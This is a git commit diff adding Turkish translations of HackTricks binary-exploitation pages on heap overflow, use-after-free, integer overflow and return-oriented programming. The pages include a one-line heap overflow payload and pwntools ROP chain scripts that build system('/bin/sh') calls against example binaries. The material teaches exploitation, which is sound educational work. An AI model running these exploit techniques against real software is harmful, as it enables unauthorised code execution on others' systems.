Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h

This commit is contained in:
Translator 2024-04-10 15:34:53 +00:00
parent df927adc55
commit 99dd47b466
12 changed files with 399 additions and 253 deletions

View file

@ -712,6 +712,9 @@
* [Integer Overflow](binary-exploitation/integer-overflow.md)
* [Format Strings](binary-exploitation/format-strings/README.md)
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
* [Heap](binary-exploitation/heap/README.md)
* [Use After Free](binary-exploitation/heap/use-after-free.md)
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)

View file

@ -0,0 +1,3 @@
# Heap
# Yığın

View file

@ -0,0 +1,45 @@
# Heap Taşması
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın!
- [Resmi PEASS & HackTricks ürünlerini](https://peass.creator-spring.com) edinin
- [The PEASS Family](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [NFT'lerimizi](https://opensea.io/collection/the-peass-family) içerir
- 💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
- **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [HackTricks](https://github.com/carlospolop/hacktricks) ve [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
Bir heap taşması, heap'te bir [**yığın taşması**](../stack-overflow/) gibi. Temelde, heap'te belirli bir veriyi depolamak için bir alan ayrıldı ve **depolanan veri ayrılan alandan daha büyüktü.**
Yığın taşmalarında, yığından bazı kayıtların (örneğin yönerge işaretçisi veya yığın çerçevesi) geri yükleneceğini ve bunun istismar edilebileceğini biliyoruz. Heap taşmalarında, taşınan heap parçasında varsayılan olarak **duyarlı bilgi depolanmaz.** Bununla birlikte, hassas bilgi veya işaretçiler olabilir, bu nedenle bu zafiyetin **kritikliği**, **hangi verilerin üzerine yazılabileceğine** ve bir saldırganın bunu nasıl istismar edebileceğine bağlıdır.
{% hint style="success" %}
Taşma ofsetlerini bulmak için [**yığın taşmalarında**](../stack-overflow/#finding-stack-overflows-offsets) olduğu gibi aynı desenleri kullanabilirsiniz.
{% endhint %}
## Örnek ARM64
[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) sayfasında, taşan parçadan bir sonraki parçada depolanacak bir komutun bulunduğu bir heap taşması örneği bulabilirsiniz. Bu nedenle, basit bir istismarla yürütülecek komutu değiştirmek mümkündür, örneğin:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -0,0 +1,26 @@
# Kullanımdan Sonra Ücretsiz Kullanım
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details>
## Temel Bilgiler
Adından da anlaşılacağı gibi, bu zafiyet, bir programın bir nesne için heap'te **bazı alanlar ayırması**, oraya **bazı bilgiler yazması**, artık gerekli olmadığı için onu **serbest bırakması** ve ardından tekrar **erişmesi** durumunda meydana gelir.
Buradaki sorun, **serbest bırakılan belleğe erişildiğinde** (burada **hata olmayacak**) yasadışı olmamasıdır. Dolayısıyla, program (veya saldırgan) **serbest bırakılan belleği ayırmayı ve keyfi veri depolamayı başarırsa**, serbest bırakılan belleğe başlangıç işaretçisinden erişildiğinde, bu verinin üzerine yazılmış olması nedeniyle **orijinalde depolanan verinin hassasiyetine bağlı olarak bir zafiyet oluşacaktır** (eğer çağrılacak bir işlevin işaretçisi ise, saldırgan onu kontrol edebilir).
## Diğer Referanslar ve Örnekler
* [https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
* ARM64. Kullanımdan sonra ücretsiz kullanım: Bir kullanıcı oluştur, serbest bırak, aynı parçayı tekrar kullanarak öncekinin üzerine yazarak **kullanıcı->şifre konumunu geçersiz kıl**. Kullanıcıyı tekrar kullanarak **şifre kontrolünü atlatın**

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -20,11 +20,11 @@ HackTricks'i desteklemenin diğer yolları:
Örneğin, bir **8-bit işaretsiz tamsayı**, **0 ile 255** arasındaki değerleri temsil edebilir. Bir 8-bit işaretsiz tamsayıya 256 değerini saklamaya çalışırsanız, saklama kapasitesinin sınırlılığı nedeniyle 0'a döner. Benzer şekilde, **16-bit işaretsiz tamsayı** için, **0 ile 65,535** arasındaki değerleri tutabilir, 65,535'e 1 eklemek değeri tekrar 0'a döndürecektir.
Ayrıca, bir **8-bit işaretli tamsayı**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bu, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılması nedeniyle, büyüklüğü temsil etmek için 7 bitin kullanılmasıdır. En negatif sayı **-128** olarak temsil edilir (ikili `10000000`), ve en pozitif sayı **127** olarak temsil edilir (ikili `01111111`).
Ayrıca, bir **8-bit işaretli tamsayı**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bu, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılması nedeniyle 7 bitin büyüklüğü temsil etmesi gerektiğinden kaynaklanır. En negatif sayı **-128** olarak temsil edilir (ikili `10000000`), en pozitif sayı ise **127** olarak temsil edilir (ikili `01111111`).
### Maksimum Değerler
Potansiyel **web güvenlik açıkları** için desteklenen maksimum değerleri bilmek oldukça ilginçtir:
Potansiyel **web güvenlik açıkları** için desteklenen maksimum değerleri bilmek çok ilginçtir:
{% tabs %}
{% tab title="Rust" %}
@ -42,13 +42,11 @@ println!("{}", add_result);
```
{% endtab %}
{% tab title="C" %}
### Tamsayı Taşması
{% tab title="C" %}Integer Taşması
Tamsayı taşması, bir değişkenin belirli bir sınıra ulaştığında veya aşırı büyük bir değer aldığında oluşan bir durumdur. Bu durum, beklenmedik sonuçlara neden olabilir ve kötü niyetli kullanıcılar tarafından istismar edilebilir. Özellikle işlemlerde veya bellek tahsisinde kullanılan değişkenlerde dikkatli olunmalı ve tamsayı taşmalarına karşı koruma mekanizmaları eklenmelidir.
Integer taşması, bir değişkenin maksimum değerini aştığında oluşan bir durumdur. Bu durum, genellikle işlemlerde veya bellek tahsisinde hatalı hesaplamalardan kaynaklanır. Örneğin, bir değişkenin maksimum değeri 255 ise, 256 değeri atanırsa, değişken taşar ve 0 değerine geri döner.
Tamsayı taşması genellikle toplama, çıkarma, çarpma veya bölme gibi aritmetik işlemler sırasında meydana gelir. Bu durum, değişkenin tanımlanan boyutunu aşarak beklenmedik sonuçlara yol açabilir. Bu nedenle, kod yazarken tamsayı taşmalarını önlemek için dikkatli olunmalı ve gerekli kontroller eklenmelidir.
{% endtab %}
Bu tür bir zafiyet, kötü niyetli saldırganların hedef sistemde istismar ettiği yaygın bir güvenlik açığıdır. Integer taşması, bellek bölgelerinin yanlış şekilde yazılmasına ve hedef sistemde istenmeyen davranışlara neden olabilir. Bu nedenle, yazılım geliştiricilerin bu tür durumları önlemek için dikkatli olmaları önemlidir.{% endtab %}
```c
#include <stdio.h>
#include <limits.h>
@ -84,7 +82,7 @@ return 0;
```
### İmzalıdan İmsiz Dönüşüm
Kullanıcı girdisinden okunan bir imzalı tamsayı düşünün ve ardından uygun doğrulama yapılmadan onu imzalı bir tamsayı olarak işleyen bir bağlamda kullanılır:
Kullanıcı girdisinden okunan bir imzalı tamsayı düşünün ve ardından uygun doğrulama olmadan onu imzalı bir tamsayı olarak işleyen bir bağlamda kullanılır:
```c
#include <stdio.h>
@ -106,31 +104,35 @@ printf("Processed Input is within range: %u\n", processedInput);
return 0;
}
```
Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin nasıl yorumlandığından dolayı büyük bir işaretsiz tamsayı olarak yorumlanabilir, bu da beklenmeyen davranışlara yol açabilir.
Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin nasıl yorumlandığından dolayı bu sayı büyük bir işaretsiz tamsayı olarak yorumlanacaktır, bu da beklenmeyen davranışlara yol açabilir.
### Diğer Örnekler
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Program, girişin boyutunu kontrol etmek için bir sayının son baytını doğruluyor, bu nedenle son bayt izin verilen aralık içinde olduğu sürece herhangi bir boyut eklemek mümkündür. Ardından, giriş, bir ret2win ile istismar edilen bir tampon taşması oluşturur.
* Şifrenin boyutunu depolamak için sadece 1B kullanılır, bu nedenle taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak mümkündür.
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
* Verilen bir çift sayı ile z3 kullanarak, birinci sayı ile çarpıldığında ikinci sayıyı verecek yeni bir sayıyı bulun:&#x20;
* Verilen birkaç sayıyı kullanarak z3'ü kullanarak, birinci sayı ile çarpıldığında ikinci sayıyı verecek yeni bir sayıyı bulun:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
* Şifrenin boyutunu depolamak için sadece 1B kullanılır, bu nedenle taşması ve uzunluğunun aslında 260 olduğunu düşünerek uzunluk kontrol korumasını atlatmak ve yığında bir sonraki yerel değişkeni geçerek her iki korumayı da atlatmak mümkündür.
\
## ARM64
Bu, [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebileceğiniz gibi **ARM64'te değişmez**.
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -6,21 +6,21 @@
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
- **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın**.
</details>
## **Temel Bilgiler**
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sızma tekniğidir. Bir saldırgan, shellcode enjekte etmek ve yürütmek yerine, genellikle ikili dosyada veya yüklenmiş kütüphanelerde bulunan, **"gadget"** olarak bilinen kod parçalarını kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri taşıma veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir.
**Return-Oriented Programming (ROP)**, **No-Execute (NX)** veya **Data Execution Prevention (DEP)** gibi güvenlik önlemlerini atlatmak için kullanılan gelişmiş bir sızma tekniğidir. Bir saldırgan, shellcode enjekte etmek ve yürütmek yerine, binary veya yüklenmiş kütüphanelerde zaten bulunan kod parçalarını, yani **"gadget"**'ları kullanır. Her gadget genellikle bir `ret` talimatı ile biter ve veri taşıma veya aritmetik işlemler gibi küçük bir işlem gerçekleştirir. Bu gadget'ları bir araya getirerek, bir saldırgan, NX/DEP korumalarını atlayarak keyfi işlemler gerçekleştirmek için bir yük oluşturabilir.
### ROP Nasıl Çalışır
1. **Kontrol Akışı Kaçırma**: İlk olarak, bir saldırganın bir programın kontrol akışını ele geçirmesi gerekir, genellikle bir tampon taşması kullanarak yığında kaydedilen bir dönüş adresini üzerine yazarak.
1. **Kontrol Akışı Kaçırma**: İlk olarak, bir saldırganın bir programın kontrol akışını ele geçirmesi gerekir, genellikle bir tampon taşması kullanarak yığında kaydedilmiş bir dönüş adresini üzerine yazarak.
2. **Gadget Zinciri**: Saldırgan daha sonra istenen işlemleri gerçekleştirmek için dikkatlice gadget'ları seçer ve zincirler. Bu, bir işlev çağrısı için argümanları ayarlamayı, işlevi çağırmayı (örneğin, `system("/bin/sh")`), ve gerekli temizlik veya ek işlemleri ele almayı içerebilir.
3. **Yük Yürütme**: Zayıf işlev geri döndüğünde, meşru bir konuma dönüş yapmak yerine, gadget zincirini yürütmeye başlar.
@ -30,28 +30,28 @@ Genellikle, gadget'lar [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadg
## ROP Zinciri x86 Örneği
### **x86 (32-bit) Çağrı Konvansiyonları**
### **x86 (32-bit) Çağrı sözleşmeleri**
* **cdecl**: Çağrı yapan yığını temizler. İşlev argümanları ters sırayla yığına itilir (sağdan sola). **Argümanlar sağdan sola doğru yığına itilir.**
* **stdcall**: Cdecl'e benzer, ancak yığıyı temizleme işlemi çağrıyı alanın sorumluluğundadır.
- **cdecl**: Çağrı yapan yığını temizler. İşlev argümanları ters sırayla (sağdan sola) yığına itilir. **Argümanlar sağdan sola doğru yığına itilir.**
- **stdcall**: cdecl'ye benzer, ancak yığını temizleme işlemi çağrıyı alanın sorumluluğundadır.
### **Gadget'lar Bulma**
Öncelikle, ikili dosya veya yüklenmiş kütüphaneler içinde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
Öncelikle, binary veya yüklenmiş kütüphanelerde gerekli gadget'ları tanımladığımızı varsayalım. İlgilendiğimiz gadget'lar şunlardır:
* `pop eax; ret`: Bu gadget, yığının en üst değerini `EAX` kaydedicisine iter ve ardından dönüş yaparak `EAX` üzerinde kontrol sağlar.
* `pop ebx; ret`: Yukarıdakiyle benzer, ancak `EBX` kaydedicisi için, `EBX` üzerinde kontrol sağlar.
* `mov [ebx], eax; ret`: `EAX` içindeki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından dönüş yapar. Bu genellikle bir **write-what-where gadget** olarak adlandırılır.
* Ayrıca, `system()` işlevinin adresine sahibiz.
- `pop eax; ret`: Bu gadget, yığının en üst değerini `EAX` kaydedicisine iter ve ardından dönüş yaparak `EAX` üzerinde kontrol sağlar.
- `pop ebx; ret`: Yukarıdakiyle benzer, ancak `EBX` kaydedicisi için, `EBX` üzerinde kontrol sağlar.
- `mov [ebx], eax; ret`: `EAX` içindeki değeri `EBX` tarafından işaret edilen bellek konumuna taşır ve ardından dönüş yapar. Bu genellikle bir **write-what-where gadget** olarak adlandırılır.
- Ayrıca, `system()` işlevinin adresine sahibiz.
### **ROP Zinciri**
**Pwntools** kullanarak, ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız, `system('/bin/sh')`'yi yürütmeyi amaçlayarak, zincirin nasıl başladığına dikkat edin:
**pwntools** kullanarak, ROP zinciri yürütmesi için yığını aşağıdaki gibi hazırlarız ve `system('/bin/sh')`'yi yürütmeyi amaçlarız, zincirin nasıl başladığına dikkat edin:
1. Hizalama amaçlı bir `ret` talimatı (isteğe bağlı)
2. `system` işlevinin adresi (ASLR devre dışı bırakılmış ve bilinen libc varsayılarak, daha fazla bilgi için [**Ret2lib**](ret2lib/))
2. `system` işlevinin adresi (ASLR devre dışı bırakılmış ve bilinen libc varsayılarak)
3. `system()`'den dönüş adresi için yer tutucu
4. `"/bin/sh"` dizesi adresi (sistem işlevi için parametre)
4. `"/bin/sh"` dizesi adresi (system işlevi için parametre)
```python
from pwn import *
@ -91,20 +91,20 @@ p.interactive()
* Unix benzeri sistemlerde **System V AMD64 ABI** çağrı kuralını kullanır, burada **ilk altı tamsayı veya işaretçi argüman `RDI`, `RSI`, `RDX`, `RCX`, `R8` ve `R9`** registerlara iletilir. Ek argümanlar yığına iletilir. Dönüş değeri `RAX` registerına yerleştirilir.
* **Windows x64** çağrı kuralı ilk dört tamsayı veya işaretçi argümanlar için `RCX`, `RDX`, `R8` ve `R9` kullanır, ek argümanlar yığına iletilir. Dönüş değeri `RAX` registerına yerleştirilir.
* **Registerlar**: 64-bit registerlar arasında `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8` ile `R15` bulunur.
* **Registerlar**: 64-bit registerlar `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` ve `R8` ile `R15` içerir.
#### **Gadget'ları Bulma**
#### **Gadget'lar Bulma**
Amacımız, **RDI** registerını ayarlamamıza ( **system()** fonksiyonuna **"/bin/sh"** dizesini argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'lara odaklanalım. Aşağıdaki gadget'ları tanımladığımızı varsayalım:
Amacımız, **RDI** registerını ayarlamamıza ( **system()** fonksiyonuna **"/bin/sh"** dizesini bir argüman olarak iletmek için) ve ardından **system()** fonksiyonunu çağırmamıza izin verecek gadget'ları bulmaya odaklanalım. Aşağıdaki gadget'ları tanımladığımızı varsayalım:
* **pop rdi; ret**: Yığının en üst değerini **RDI** registerına çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel önemdedir.
* **pop rdi; ret**: Yığının en üst değerini **RDI**'ya çıkarır ve ardından döner. **system()** için argümanımızı ayarlamak için temel önemlidir.
* **ret**: Basit bir dönüş, bazı senaryolarda yığın hizalaması için kullanışlıdır.
Ve **system()** fonksiyonunun adresini biliyoruz.
### **ROP Zinciri**
Aşağıda, **x64** üzerinde **system('/bin/sh')** komutunu çalıştırmayı amaçlayan bir ROP zinciri oluşturmak ve yürütmek için **pwntools** kullanarak bir örnek bulunmaktadır:
Aşağıda, **system('/bin/sh')**'yi çalıştırmayı amaçlayan bir ROP zinciri oluşturmak ve yürütmek için **pwntools** kullanarak bir örnek bulunmaktadır:
```python
from pwn import *
@ -139,39 +139,57 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
### Yığın Hizalaması
Bu örnekte:
**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Eğer yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi fonksiyonlara yapılan çağrılar bir **ROP zincirinde** başarısız olacaktır. Bunun düzeltilmesi için, ROP zincirinizde **system**'i çağırmadan önce bir **ret gadget** ekleyin.
- **`pop rdi; ret`** cihazını kullanarak **`RDI`**'yi **`"/bin/sh"`** adresine ayarlıyoruz.
- **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, **system()**'ün adresi zincirde.
- **Hedef ortamın gerektirmesi durumunda hizalamak için **`ret_gadget`** kullanılır, bu daha yaygın olarak **x64**'te fonksiyonları çağırmadan önce uygun yığın hizalamasını sağlamak için gereklidir.
## x86 ve x64 Arasındaki Temel Fark
### Yığın Hizalama
**x86-64 ABI**, bir **çağrı talimatı** yürütüldüğünde **yığının 16 bayt hizalandığını** sağlar. **LIBC**, performansı optimize etmek için **SSE talimatları** (örneğin **movaps**) kullanır ve bu hizalamayı gerektirir. Eğer yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi fonksiyonlara yapılan çağrılar bir **ROP zincirinde** başarısız olacaktır. Bunun düzeltilmesi için ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret cihazı** ekleyin.
## x86 ve x64 arasındaki temel fark
{% hint style="success" %}
**x64, ilk birkaç argüman için kayıtları kullandığından**, basit fonksiyon çağrıları için genellikle x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulup zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisindeki artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, hem fırsatlar hem de zorluklar sunar.
**x64, ilk birkaç argüman için kayıtları kullandığından**, basit fonksiyon çağrıları için genellikle x86'dan daha az cihaz gerektirir, ancak doğru cihazları bulup zincirlemek, artan kayıt sayısı ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisinde artan kayıt sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında, hem fırsatlar hem de zorluklar sunar.
{% endhint %}
## ARM64 Örneğinde ROP Zinciri
### **ARM64 Temelleri ve Çağrı Kuralları**
Bu bilgiler için aşağıdaki sayfaya bakın:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## ROP'a Karşı Korumalar
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, gadget'ların adreslerinin yürütme arasında değişmesi nedeniyle ROP'un kullanımını zorlaştırır.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/): Bu korumalar, adreslerin yürütme arasında değişmesi nedeniyle ROP kullanımını zorlaştırır.
* [**Yığın Kanaryaları**](../common-binary-protections-and-bypasses/stack-canaries/): BOF durumunda, ROP zincirini kötüye kullanmak için geri dönüş işaretçilerini üzerine yazmak için yığın kanaryasını atlamak gereklidir.
* **Yetersiz Gadget'lar**: Yeterli gadget yoksa ROP zinciri oluşturulamaz.
* **Yetersiz Cihazlar**: Yeterli cihaz yoksa ROP zinciri oluşturulamaz.
## ROP Tabanlı Teknikler
## ROP tabanlı teknikler
ROP'un sadece keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a dayalı birçok Ret2XXX tekniği geliştirilmiştir:
